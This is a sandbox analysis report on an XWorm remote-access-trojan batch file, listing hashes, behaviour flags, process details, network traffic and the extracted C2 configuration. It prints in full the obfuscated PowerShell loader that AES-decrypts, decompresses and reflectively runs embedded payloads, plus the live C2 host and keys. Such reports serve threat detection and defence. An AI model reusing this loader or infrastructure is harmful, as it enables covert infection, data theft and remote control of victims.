File name:

$phantom-SCV.cmd

Full analysis: https://app.any.run/tasks/a1aa4835-d4cb-4dbd-8724-401176d91005
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

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Analysis date: June 29, 2024, 21:54:07
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
remote
xworm
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (57858), with CRLF line terminators
MD5:

6E45850D43BDE1D6BC68AB6B07DAF153

SHA1:

427ED64BB89E6BF40E59276768D37152C209E976

SHA256:

0A0A6608A80B982FC1F0897B89C9FFA58BA58E3C2D1C200155E47C495B0C6150

SSDEEP:

12288:Co8xbtgA4f9Ek3aoC4QvfD2ZK1n6B4XyZYi9lGUnnQ:Co8NtsaCm1nhqD9ginQ

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  • MALICIOUS

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Create files in the Startup directory

      • powershell.exe (PID: 3860)

    • XWORM has been detected (SURICATA)

      • powershell.exe (PID: 3860)

    • XWORM has been detected (YARA)

      • powershell.exe (PID: 3860)

    • Connects to the CnC server

      • powershell.exe (PID: 3860)

    • Actions looks like stealing of personal data

      • powershell.exe (PID: 3860)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 3424)
      • powershell.exe (PID: 2956)
      • cmd.exe (PID: 980)

    • Application launched itself

      • cmd.exe (PID: 3424)
      • cmd.exe (PID: 980)

    • Cryptography encrypted command line is found

      • cmd.exe (PID: 2960)
      • cmd.exe (PID: 3556)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3424)
      • cmd.exe (PID: 980)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Executing commands from ".cmd" file

      • cmd.exe (PID: 3424)
      • cmd.exe (PID: 980)
      • powershell.exe (PID: 2956)

    • Reads the Internet Settings

      • powershell.exe (PID: 2956)

    • Connects to unusual port

      • powershell.exe (PID: 3860)

    • Contacting a server suspected of hosting an CnC

      • powershell.exe (PID: 3860)

  • INFO

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 2956)
      • powershell.exe (PID: 3860)

    • Manual execution by a user

      • explorer.exe (PID: 312)
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XWorm

(PID) Process(3860) powershell.exe
C2korkos.now-dns.net:999
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameLeech
MutexPloDJK2PhSuWy8rU
No Malware configuration.
No data.
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Total processes
64
Monitored processes
26
Malicious processes
4
Suspicious processes
0

Behavior graph

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start cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs #XWORM powershell.exe explorer.exe no specs wmpnscfg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
312"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
680cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
980C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\$phantom-SCV.cmd" "C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1952cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2108cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2420cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2428cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2956"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2960C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('wNcFKur0Jl7450HdnpBnzjJ0VkczGUUgZCayB4N/z5k='); $aes_var.IV=[System.Convert]::FromBase64String('LnVH8Q3dknv++SzltewTug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZpTQS=New-Object System.IO.MemoryStream(,$param_var); $OYGBL=New-Object System.IO.MemoryStream; $STZRP=New-Object System.IO.Compression.GZipStream($ZpTQS, [IO.Compression.CompressionMode]::Decompress); $STZRP.CopyTo($OYGBL); $STZRP.Dispose(); $ZpTQS.Dispose(); $OYGBL.Dispose(); $OYGBL.ToArray();}function execute_function($param_var,$param2_var){ $QnAOk=[System.Reflection.Assembly]::Load([byte[]]$param_var); $GDXEp=$QnAOk.EntryPoint; $GDXEp.Invoke($null, $param2_var);}$pPyzM = 'C:\Users\admin\AppData\Roaming\$phantom-SCV.cmd';$host.UI.RawUI.WindowTitle = $pPyzM;$CtNBM=[System.IO.File]::ReadAllText($pPyzM).Split([Environment]::NewLine);foreach ($oZZUg in $CtNBM) { if ($oZZUg.StartsWith('IrzEsjacAQqOMrEShQQm')) { $GKlON=$oZZUg.Substring(20); break; }}$payloads_var=[string[]]$GKlON.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2980cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
7 298
Read events
7 290
Write events
8
Delete events
0

Modification events

(PID) Process:(2956) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2956) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2956) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2956) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
0
Suspicious files
5
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
3860powershell.exeC:\Users\admin\AppData\Local\Temp\ow0joqfp.y45.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2956powershell.exeC:\Users\admin\AppData\Local\Temp\4tur5ll3.3t1.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2956powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
3860powershell.exeC:\Users\admin\AppData\Local\Temp\0fjk0qvk.qys.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2956powershell.exeC:\Users\admin\AppData\Local\Temp\4vz45dr5.y01.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3860powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantom-SCV.cmdtext
MD5:6E45850D43BDE1D6BC68AB6B07DAF153
SHA256:0A0A6608A80B982FC1F0897B89C9FFA58BA58E3C2D1C200155E47C495B0C6150
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HTTP(S) requests
4
TCP/UDP connections
12
DNS requests
6
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1372
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?33775f6043c93e33
unknown
—
—
unknown
1372
svchost.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
1060
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?fbe613066ac7852b
unknown
—
—
unknown
1372
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
1372
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2564
svchost.exe
239.255.255.250:3702
—
—
—
whitelisted
1060
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3860
powershell.exe
144.76.71.93:999
korkos.now-dns.net
Hetzner Online GmbH
DE
unknown
1372
svchost.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
unknown
1372
svchost.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
1372
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
1060
svchost.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
unknown

DNS requests

Domain
IP
Reputation
korkos.now-dns.net
  • 144.76.71.93
unknown
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
ctldl.windowsupdate.com
  • 199.232.214.172
  • 199.232.210.172
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted

Threats

PID
Process
Class
Message
1060
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.now-dns .net Domain
3860
powershell.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
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Reports
$phantom-SCV.cmd